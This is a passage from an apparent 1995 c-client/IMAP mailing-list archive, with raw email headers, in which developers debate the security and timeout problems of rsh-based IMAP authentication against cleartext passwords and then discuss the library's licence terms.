NFS, and similar inherantly unsafe technologies. I see bashing on rimapd as a distraction from this goal. Kerberos, S/Key, etc. are *NOT* here now. They are available to a subset of the available systems. There may or may not be significant development time and expense involved in deploying these tools. I manage seven UNIX systems, and NONE of them has Kerberos or S/Key available on a plug'n'play basis. I suggest that we roll up our sleeves and get on with fixing this, rather than bicker about the wisdom of using the existing tools or the band-aids holding them together. Nobody would be happier than me to see rimapd expire. From pinedev@shivax2.cac.washington.edu Fri Jul 28 16:29:06 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA02603; Fri, 28 Jul 95 16:29:06 -0700 Received: by mx2.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA14187; Fri, 28 Jul 95 16:28:54 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mercury.Sun.COM by mx2.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA14181; Fri, 28 Jul 95 16:28:51 -0700 Received: from Eng.Sun.COM by mercury.Sun.COM (Sun.COM) id QAA11277; Fri, 28 Jul 1995 16:28:16 -0700 Received: from hape.eng.sun.com (hape-103.Eng.Sun.COM) by Eng.Sun.COM (5.x/SMI-5.3) id AA16790; Fri, 28 Jul 1995 16:28:13 -0700 Received: from roam by hape.eng.sun.com (5.x/SMI-SVR4) id AA12161; Fri, 28 Jul 1995 16:28:10 -0700 Date: Fri, 28 Jul 1995 16:25:52 -0800 (PDT) From: Bill Yeager Reply-To: Bill Yeager Subject: Re: Make imap work without "rsh" To: Mike Macgirvin , Mark Crispin Cc: Paul H Kramer , IMAP Interest List , c-client Interest List Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII > If you failed to take the measures noted above, then you are deluding > yourself > in thinking that you accomplished anything. Actually, if your policy > really > is "always require a password", then nothing short of doing ALL of 1-5 > above > will satisfy that policy. Calm down Mark (: From pinedev@shivax2.cac.washington.edu Fri Jul 28 21:59:16 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA10545; Fri, 28 Jul 95 21:59:16 -0700 Received: by mx1.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA12639; Fri, 28 Jul 95 21:59:05 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tipper.oit.unc.edu by mx1.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA12628; Fri, 28 Jul 95 21:59:01 -0700 Received: from chivalry (chivalry.eit.COM [192.100.58.30]) by tipper.oit.unc.edu (8.6.12/8.6.10) with SMTP id AAA16310; Sat, 29 Jul 1995 00:58:54 -0400 Date: Fri, 28 Jul 1995 22:00:37 -0700 (PDT) From: Simon Spero X-Sender: ses@chivalry To: Mark Crispin Cc: Mike Macgirvin , Paul H Kramer , IMAP Interest List , c-client Interest List Subject: Re: Make imap work without "rsh" In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII There is another problem with the rsh hack that probably only affects one person (me). I'm running cyrus imapd, and normally access it from unix systems via pine. tipper, being a good southern girl, very rarely goes down. However it NFS mounts several file systems on less well behaved systems that cause rsh's to get wedged. When I set up cyrus, I was careful to elimnate dependencies on these Non File Systems, so even if nothing else works, imap is still good. I was having great fun trying to work out why things were breaking when the null MTA ('telnet tipper 143') was working fine. BTW, I can sort of see the reasoning behind the retry loop around the connection-rejected message. At the time the code was written, the usual cause of that message was for a system to be part way through booting- (remember, unix doesn't even boot fast anymore). Since all computers are unix computers, and everybody runs the r* protocols, that's the only possible cause of the error. Simon From pinedev@shivax2.cac.washington.edu Mon Jul 31 05:40:40 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA08874; Mon, 31 Jul 95 05:40:40 -0700 Received: by mx1.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA23877; Mon, 31 Jul 95 05:39:47 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from sg543689.eng.chrysler.com by mx1.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA23871; Mon, 31 Jul 95 05:39:44 -0700 Received: from sg5382na.eng.chrysler.com (sg5382na.eng.chrysler.com [152.116.1.30]) by sg543689.eng.chrysler.com (8.6.10/8.6.9) with ESMTP id IAA21071; Mon, 31 Jul 1995 08:39:43 -0400 Received: from clncrdv1.is.chrysler.com ([129.9.241.19]) by sg5382na.eng.chrysler.com (8.6.10/8.6.9) with SMTP id GAA17152; Mon, 31 Jul 1995 06:51:23 -0400 Received: from bobsgrid.is.chrysler.com by clncrdv1.is.chrysler.com (4.1/SMI-4.1) id AA05762; Mon, 31 Jul 95 06:57:19 EDT Message-Id: <9507311057.AA05762@clncrdv1.is.chrysler.com> X-Sender: t3125rm@clncrdv1.is.chrysler.com X-Mailer: Windows Eudora Version 2.1.1 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Mon, 31 Jul 1995 06:49:05 -0400 To: Mark Crispin , Mike Macgirvin From: Robert Moskowitz Subject: Re: Make imap work without "rsh" Cc: Paul H Kramer , IMAP Interest List , c-client Interest List At 01:55 PM 7/28/95 -0700, Mark Crispin wrote: >Sigh. I shouldn't answer messages when I'm annoyed, but there has been some >serious FUD and misinformation arising out of Paul Kramer's innocent question. > >On Fri, 28 Jul 1995 09:24:57 -0700 (PDT), Mike Macgirvin wrote: >> > This question would be better directed to comp.mail.pine (aka >> > pine-info@cac.washington.edu) as I believe it is a Pine implementation >> > issue rather than an IMAP protocol issue. >> >> I won't presume that. It affects everybody. > >It affects everybody who uses c-client. > Gee am I that much of a newbie or am I missing something here... I am running the latest cyrus code on a SPARC 20 SOLARIS 2.4. I am using the SIMEON DOS/Windows client. Cyrus is currently set up for UNIX user security (we are configuring a Kerberos 4 special for it, we already have a DCE cell but that won't work :( ). In my sniffer studies of trying to get the ACLs right on Cyrus (long way to go there) I have not seen a single RSH packet. The USER ID and Password go directly to the server over port 143 in an easy to sniff packet :[ Robert Moskowitz Chrysler Corporation (810) 758-8212 From pinedev@shivax2.cac.washington.edu Mon Jul 31 11:15:41 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA20799; Mon, 31 Jul 95 11:15:41 -0700 Received: by mx2.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA27231; Mon, 31 Jul 95 11:15:36 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA27205; Mon, 31 Jul 95 11:15:11 -0700 Received: from UW-Gateway.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67e/UW-NDC Revision: 2.27.MRC ) id AA13836; Mon, 31 Jul 95 11:15:00 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA02870; Mon, 31 Jul 95 11:14:50 -0700 Date: Mon, 31 Jul 1995 10:24:27 -0700 (PDT) From: Mark Crispin Subject: Re: Make imap work without "rsh" To: Robert Moskowitz Cc: Mike Macgirvin , Paul H Kramer , IMAP Interest List , c-client Interest List In-Reply-To: <9507311057.AA05762@clncrdv1.is.chrysler.com> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Mon, 31 Jul 1995 06:49:05 -0400, Robert Moskowitz wrote: > >> I won't presume that. It affects everybody. > >It affects everybody who uses c-client. > Gee am I that much of a newbie or am I missing something here... Yes, you are. ;-) > I am running the latest cyrus code on a SPARC 20 SOLARIS 2.4. I am using > the SIMEON DOS/Windows client. Cyrus is currently set up for UNIX user > security (we are configuring a Kerberos 4 special for it, we already have a > DCE cell but that won't work :( ). In my sniffer studies of trying to get > the ACLs right on Cyrus (long way to go there) I have not seen a single RSH > packet. The Cyrus IMAP server is not based upon c-client. The issue of an option to use rsh to a c-client based IMAP server is not relevant to you; you don't have that option. The only point that is relevant to you is that IMAP clients on Unix systems may try to use this feature, and go to port 143 as a fall-back. If your server system is not set up to reject an rsh access in way that rsh will recognize as a rejection (that is, by opening the connection, sending the string "Permission denied", and closing the connection), the client may block until timing out a minute or later. Unfortunately, analysis of the source code for the rcmd() function called by rsh shows that it treats a TCP-level "connection refused" and an IP level "destination unreachable" as a "soft error, sleep and try again" condition. On connect() calls these should be considered as hard errors. The upshot of all of this is that users of Unix based clients *may* have an annoying delay in opening their IMAP connections. This delay can be cured at either the server or the client end. > The USER ID and Password go directly to the server over port 143 in > an easy to sniff packet :[ Yes. That's what happens if you fall back to basic IMAP authentication. This is the same weakness that exists in FTP and most other Internet protocols. The "security flaw" on the rsh feature in the c-client based IMAP server is that it is vulnerable to IP address spoofing. John's claim notwithstanding, it is possible to secure your network from IP address spoofing; a good idea even if you don't use IP addresses for authentication since IP address spoofing can also be used to hijack connections. If you don't use rsh, not only do you have user inconvenience but you also become vulnerable to password sniffing. It is quite debatable which is the greater risk. I believe that it is theoretically possible to make the rsh mechanism somewhat more secure than transmitting passwords in the clear, although doing so involves taking steps that are not obvious, such as using static ARP for rsh-authenticated clients, keeping server-server communications (e.g. NFS) isolated by firewall from clients as well as denying unapproved access to servers by firewall (meaning also that servers are not on the same subnet as clients), additional scan/validation of .rhosts files to prevent illegitimate entries (e.g. "+ +"), etc. Of course, Kerberos, S/Key, etc. cure these and many other ills. But as you have noticed, Kerberos is not plug'n'play. Worse, Kerberos is a moving target. For better or worse, passwords in the clear and rsh are going to be with us for some time to come, and I do not feel that it is appropriate to bash software for using what are often the only mechanisms available. From pinedev@shivax2.cac.washington.edu Mon Jul 31 14:12:53 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA28279; Mon, 31 Jul 95 14:12:53 -0700 Received: by mx2.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA00940; Mon, 31 Jul 95 14:12:37 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from PO7.ANDREW.CMU.EDU by mx2.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA00928; Mon, 31 Jul 95 14:12:29 -0700 Received: (from postman@localhost) by po7.andrew.cmu.edu (8.6.12/8.6.12) id RAA08064; Mon, 31 Jul 1995 17:12:26 -0400 Received: via switchmail; Mon, 31 Jul 1995 17:12:25 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Mon, 31 Jul 1995 17:10:55 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Mon, 31 Jul 1995 17:10:51 -0400 (EDT) Received: from BatMail.robin.v2.14.CUILIB.3.45.SNAP.NOT.LINKED.hogtown.andrew.cmu.edu.sun4c.411 via MS.5.6.hogtown.andrew.cmu.edu.sun4c_411; Mon, 31 Jul 1995 17:10:47 -0400 (EDT) Message-Id: Date: Mon, 31 Jul 1995 17:10:47 -0400 (EDT) From: John Gardiner Myers To: c-client@CAC.Washington.EDU Subject: Re: Make imap work without "rsh" Cc: IMAP Interest List In-Reply-To: References: Beak: Is While the rsh mechanism is indeed specific to the c-client implementation, the interoperability problem (slow or hanging connections) does tend to affect the entire IMAP community. It apparently wasn't clear in my last message that I'm not criticizing c-client for using rsh per se. A lot of people, including every single unix vendor I know, ship systems with the "loaded gun" known as rsh. I personally find that very frustrating, but that's the state of the world. Computer security is a very frustrating field. The problem I have with c-client is that when the rsh service is not available on the server, users frequently get observably poor IMAP service. Granted, the hanging behavior comes from rsh client source code which c-client has practically no control over, but I do think the problem needs to be addressed better by c-client. Possible solutions (in order of decreasing utility) include: * Have c-client open a probe connection to port 514 before attempting to run the rsh command. Skip running rsh if the connection fails. * Make the IMAP-over-rsh client feature be runtime enabled/disabled system-wide. * Provide a simple "I don't do rsh" server which causes rcmd() to fail immediately. On the subject of comparing IP-address-based authentication with plaintext passwords, if you have protected against someone spoofing an IP address, you have in all but extreme cases also protected against them sniffing packets. -- _.John G. Myers Internet: jgm+@CMU.EDU LoseNet: ...!seismo!ihnp4!wiscvm.wisc.edu!give!up From pinedev@shivax2.cac.washington.edu Mon Jul 31 15:16:31 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA01080; Mon, 31 Jul 95 15:16:31 -0700 Received: by mx2.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA02415; Mon, 31 Jul 95 15:16:27 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from SMI.Stanford.EDU by mx2.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA02403; Mon, 31 Jul 95 15:16:08 -0700 Received: from ssrg-ss2-2.Stanford.EDU (mtm@ssrg-ss2-2.Stanford.EDU [171.65.32.100]) by smi.Stanford.EDU (8.6.10/8.6.10) with SMTP id PAA00499; Mon, 31 Jul 1995 15:08:06 -0700 Date: Mon, 31 Jul 1995 15:16:01 -0700 (PDT) From: Mike Macgirvin Reply-To: Mike Macgirvin Subject: Re: Make imap work without "rsh" To: John Gardiner Myers Cc: c-client@cac.washington.edu, IMAP Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=ISO-8859-1 Apologies for not letting this thread die a natural death. This will be my last post on the subject. > * Have c-client open a probe connection to port 514 before attempting > to run the rsh command. Skip running rsh if the connection fails. This sounds workable if Mark has no major objections. It's more or less what I was planning to add at the application level. If this isn't plausible within the c-client, I'll go ahead with it at least for my app and I'd encourage others to do likewise. > * Make the IMAP-over-rsh client feature be runtime enabled/disabled > system-wide. The problem here is that I kinda' like the rsh; and it works fine from the office, but fails from my home slip connection; which collides with a tcp_wrapper (as it should). Doing this turns it off globally and fails to take full advantage of the access features we _do_ have installed -- although the home connection is where I'm most vulnerable to sniffing because it traverses more segments (sigh...). The local systems are wired to page me whenever somebody turns on promiscuous mode (*). > * Provide a simple "I don't do rsh" server which causes rcmd() to fail > immediately. Harder to get system admins to install; and also has the drawbacks mentioned for the last item; i.e. global on/off instead of selective. mike (*) Don't ya' wish you could do this with the wife? ;-) From pinedev@shivax2.cac.washington.edu Mon Jul 31 15:55:40 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA02578; Mon, 31 Jul 95 15:55:40 -0700 Received: by mx1.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA07445; Mon, 31 Jul 95 15:55:33 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx1.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA07431; Mon, 31 Jul 95 15:55:30 -0700 Received: from UW-Gateway.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67e/UW-NDC Revision: 2.27.MRC ) id AA14037; Mon, 31 Jul 95 15:55:18 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA03742; Mon, 31 Jul 95 15:55:10 -0700 Date: Mon, 31 Jul 1995 15:27:36 -0700 (PDT) From: Mark Crispin Subject: Re: Make imap work without "rsh" To: John Gardiner Myers Cc: c-client@CAC.Washington.EDU, IMAP Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Mon, 31 Jul 1995 17:10:47 -0400 (EDT), John Gardiner Myers wrote: > While the rsh mechanism is indeed specific to the c-client > implementation, the interoperability problem (slow or hanging > connections) does tend to affect the entire IMAP community. Umm, I'd say a "minority", but a large enough one that it has to be addressed. Fair enough? > * Have c-client open a probe connection to port 514 before attempting > to run the rsh command. Skip running rsh if the connection fails. I thought about this, but there's a few problems: 1) It doesn't help when rsh attempts are dropped on the floor; it'll still have to timeout. The only thing you'll gain is that a shorter timeout is possible. On the other hand, that can cause inconsistant behavior on heavily-loaded systems. Suppose I time out after 10 seconds, but the system is so heavily loaded today it takes 11 seconds to make the rsh. The user would be surprised that she is asked for a password. If she's been properly indoctrinated about system security, she'll immediately call the help desk and report that some crack attempt tried to induce her to divulge her password. 2) The normal response to a non-privileged process opening a connection on port 514 is to close the connection. It's not always possible to distinguish that from "connection refused". 3) A wrapper that logs (but otherwise permits) rsh attempts will record twice as much rsh traffic and in particular will record 50% suspicious "not secure port" (sic) rsh attempts. People tend to get awfully irate about these things, even when you try to explain why it's happening. The same guys who say "log everything" then blame you for cluttering up their logs... ;-) > * Make the IMAP-over-rsh client feature be runtime enabled/disabled > system-wide. As Mike pointed out, this is the wrong place to throw such a switch, since it may be alright with some servers but not with others. I may be mistaken, but I assume that most UNIX-based IMAP clients are either running on a member of a cluster that includes the server (in which case rsh would almost always be enabled) or are running on a personal workstation (in which case a single-client solution is just as appropriate as a global one). There is no reason why the UAs can't do this itself, if that is what is desired. There is no law that says "the user MUST type the :143", or that the UA present anything that looks like a c-client string. > * Provide a simple "I don't do rsh" server which causes rcmd() to fail > immediately. Not surprisingly, I think that this is the best solution, but it is more difficult than that. This solution won't work well with a TCP wrapper which selectively denies rsh access depending upon IP address, or at all with a gateway that filters out rsh connects before it gets to the host. As sad as it seems (damn! I wish I could do this!), I don't think this is the answer. I would be delighted if there was a clear-cut solution. So far, I haven't seen anything that either doesn't solve the problem or potentially makes things worse. > On the subject of comparing IP-address-based authentication with > plaintext passwords, if you have protected against someone spoofing an > IP address, you have in all but extreme cases also protected against > them sniffing packets. I don't understand this claim. How does protecting against someone spoofing an IP address protect you "in all but extreme cases" against some random SUN on your subnet getting cracked? As far as I understand, the only way to protect yourself against this is to isolate SUNs (and any other machine which permits promiscuous mode in its Ethernet hardware) on a separate subnet, and if possible to have secret booby traps to ring alarm bells when such machines are cracked. [The booby traps must be secret and site-specific, since if the bad guys are aware of their existance they can arrange for counter-measures.] -- Mark -- From pinedev@shivax2.cac.washington.edu Tue Aug 1 05:01:10 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA21649; Tue, 1 Aug 95 05:01:10 -0700 Received: by mx2.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA13052; Tue, 1 Aug 95 04:55:18 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from sg543689.eng.chrysler.com by mx2.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA13046; Tue, 1 Aug 95 04:55:16 -0700 Received: from sg5382na.eng.chrysler.com (sg5382na.eng.chrysler.com [152.116.1.30]) by sg543689.eng.chrysler.com (8.6.10/8.6.9) with ESMTP id HAA02653; Tue, 1 Aug 1995 07:55:13 -0400 Received: from clncrdv1.is.chrysler.com ([129.9.241.19]) by sg5382na.eng.chrysler.com (8.6.10/8.6.9) with SMTP id HAA10977; Tue, 1 Aug 1995 07:01:24 -0400 Received: from bobsgrid.is.chrysler.com by clncrdv1.is.chrysler.com (4.1/SMI-4.1) id AA17870; Tue, 1 Aug 95 07:06:50 EDT Message-Id: <9508011106.AA17870@clncrdv1.is.chrysler.com> X-Sender: t3125rm@clncrdv1.is.chrysler.com X-Mailer: Windows Eudora Version 2.1.1 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Tue, 01 Aug 1995 06:58:31 -0400 To: Mark Crispin From: Robert Moskowitz Subject: Re: Make imap work without "rsh" Cc: Mike Macgirvin , Paul H Kramer , IMAP Interest List , c-client Interest List At 10:24 AM 7/31/95 -0700, Mark Crispin wrote: >On Mon, 31 Jul 1995 06:49:05 -0400, Robert Moskowitz wrote: >> >> I won't presume that. It affects everybody. >> >It affects everybody who uses c-client. >> Gee am I that much of a newbie or am I missing something here... > >Yes, you are. ;-) Double induendo time, huh :) >Of course, Kerberos, S/Key, etc. cure these and many other ills. But as you >have noticed, Kerberos is not plug'n'play. Worse, Kerberos is a moving >target. For better or worse, passwords in the clear and rsh are going to be >with us for some time to come, and I do not feel that it is appropriate to >bash software for using what are often the only mechanisms available. Granted. But take a look at S-HTTP. One of its security mechinisms is for the server to send the client a nonce that the client can use to encrypt all further traffic. This is an elegant way to add security to an unknown client, allowing for encryption of even simple userID/password data streams. BTW, IMAP is 'less' secure than, say FTP. In FTP you have to capture two packets, in IMAP both userID and Password are in the same. At least with Simeon... Robert Moskowitz Chrysler Corporation (810) 758-8212 From pinedev@shivax2.cac.washington.edu Wed Aug 2 09:36:52 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA15821; Wed, 2 Aug 95 09:36:52 -0700 Received: by mx1.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA20735; Wed, 2 Aug 95 09:36:44 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from actcom.co.il by mx1.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA20699; Wed, 2 Aug 95 09:35:23 -0700 Received: from galtronics.UUCP by actcom.co.il with UUCPgaltronics (8.6.12/actcom-0.1) id MAA28846; Wed, 2 Aug 1995 12:46:18 +0300 (rfc931-sender: uucp@localhost) Received: by aviion.galtronics.co.il (5.4R2.10/ACTCOM-GALTRONICS-S-1.0) id AA25410; Wed, 2 Aug 1995 12:16:49 GMT Date: Wed, 2 Aug 1995 12:16:49 +0000 (GMT) From: Aladdin Khamis Subject: gcc debugger? In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Apparently-To: IMAP@cac.washington.edu Apparently-To: c-client@cac.washington.edu Apparently-To: pine-info@cac.washington.edu Where can I get the best updated gcc debugger? Thanks Al From pinedev@shivax2.cac.washington.edu Wed Aug 2 13:17:46 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA24648; Wed, 2 Aug 95 13:17:46 -0700 Received: by mx1.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA26041; Wed, 2 Aug 95 13:17:34 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tuna.wang.com by mx1.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA26035; Wed, 2 Aug 95 13:17:32 -0700 Received: from fubar.wang.com by tuna.wang.com with SMTP id AA18397 (5.67b/IDA-1.5 for ); Wed, 2 Aug 1995 16:17:31 -0400 Received: (from forrie@localhost) by fubar.wang.com (8.7.Beta.9/8.7.Beta.9) id QAA21785 for c-client@cac.washington.edu; Wed, 2 Aug 1995 16:15:45 -0400 (EDT) From: Forrest Aldrich Message-Id: <199508022015.QAA21785@fubar.wang.com> Subject: Use of c-client libs in commercial/shareware software To: c-client@cac.washington.edu Date: Wed, 2 Aug 1995 16:15:45 -0400 (EDT) X-Mailer: ELM [version 2.4 PL24] Content-Type: text What restrictions are there, if any, of using the c-client (IMAP4 when it's stable) software/libs in the production of commercial/shareware? Thanks... From pinedev@shivax2.cac.washington.edu Wed Aug 2 17:07:07 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA04368; Wed, 2 Aug 95 17:07:07 -0700 Received: by mx1.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA01548; Wed, 2 Aug 95 17:06:56 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx1.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA01542; Wed, 2 Aug 95 17:06:55 -0700 Received: from UW-Gateway.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67e/UW-NDC Revision: 2.27.MRC ) id AA16498; Wed, 2 Aug 95 17:06:45 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA11995; Wed, 2 Aug 95 17:06:38 -0700 Date: Wed, 2 Aug 1995 17:03:59 -0700 (PDT) From: Mark Crispin Subject: re: Use of c-client libs in commercial/shareware software To: Forrest Aldrich Cc: c-client@cac.washington.edu In-Reply-To: <199508022015.QAA21785@fubar.wang.com> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Wed, 2 Aug 1995 16:15:45 -0400 (EDT), Forrest Aldrich wrote: > What restrictions are there, if any, of using the c-client (IMAP4 when it's > stable) software/libs in the production of commercial/shareware? The specific terms are below. Unofficial translation: use it as you please, but: 1) give us credit in the reference manual (and any "About" panel) 2) don't claim that we endorse your product, or otherwise use our name in advertising 3) don't sue us if there's any bugs or other problems * Permission to use, copy, modify, and distribute this software and its * documentation for any purpose and without fee is hereby granted, provided * that the above copyright notices appear in all copies and that both the * above copyright notices and this permission notice appear in supporting * documentation, and that the name of the University of Washington or The * Leland Stanford Junior University not be used in advertising or publicity * pertaining to distribution of the software without specific, written prior * permission. This software is made available "as is", and * THE UNIVERSITY OF WASHINGTON AND THE LELAND STANFORD JUNIOR UNIVERSITY * DISCLAIM ALL WARRANTIES, EXPRESS OR IMPLIED, WITH REGARD TO THIS SOFTWARE, * INCLUDING WITHOUT LIMITATION ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND * FITNESS FOR A PARTICULAR PURPOSE, AND IN NO EVENT SHALL THE UNIVERSITY OF * WASHINGTON OR THE LELAND STANFORD JUNIOR UNIVERSITY BE LIABLE FOR ANY * SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER * RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF * CONTRACT, TORT (INCLUDING NEGLIGENCE) OR STRICT LIABILITY, ARISING OUT OF * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. From pinedev@shivax2.cac.washington.edu Fri Aug 11 12:24:22 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA16065; Fri, 11 Aug 95 12:24:22 -0700 Received: by mx1.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA04103; Fri, 11 Aug 95 12:24:12 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from [140.150.80.4] by mx1.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA04097; Fri, 11 Aug 95 12:24:09 -0700 Received: from pctomku (pctomku.pro.icl.se [140.150.80.86]) by xray.pro.icl.se (8.6.9/tomku/950515) with ESMTP id VAA04781; Fri, 11 Aug 1995 21:22:14 +0200 Message-Id: <199508111922.VAA04781@xray.pro.icl.se> Date: Fri, 11 Aug 1995 21:21:26 +0100 From: Tomas Kullman Reply-To: Tomas Kullman Subject: Re: re: Use of c-client libs in commercial/shareware software To: Forrest Aldrich , Mark Crispin Cc: c-client@cac.washington.edu In-Reply-To: X-Mailer: EMBLA 1.1 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII > The specific terms are below. Unofficial translation: use it as you please, > but: > 1) give us credit in the reference manual (and any "About" panel) Mark, We are using an older version of c-client, 3.3 I think. I have made sure there are a complete copy of the copyright notice and the disclaimer in the readme file. I think there are one in the on-line help as well. But unfortunately not in the about panel. Is the statement above concerning the about panel a "strict" requirement? Tomas From pinedev@shivax2.cac.washington.edu Fri Aug 11 12:49:33 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA17295; Fri, 11 Aug 95 12:49:33 -0700 Received: by mx1.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA04682; Fri, 11 Aug 95 12:49:28 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx1.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA04676; Fri, 11 Aug 95 12:49:25 -0700 Received: from UW-Gateway.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67e/UW-NDC Revision: 2.27.MRC ) id AA00769; Fri, 11 Aug 95 12:49:17 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA17750; Fri, 11 Aug 95 12:49:08 -0700 Date: Fri, 11 Aug 1995 12:48:39 -0700 (PDT) From: Mark Crispin Subject: Re: re: Use of c-client libs in commercial/shareware software To: Tomas Kullman Cc: Forrest Aldrich , Mark Crispin , c-client@cac.washington.edu In-Reply-To: <199508111922.VAA04781@xray.pro.icl.se> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Fri, 11 Aug 1995 21:21:26 +0100, Tomas Kullman wrote: > I have made sure there are a complete copy of the copyright notice and the > disclaimer 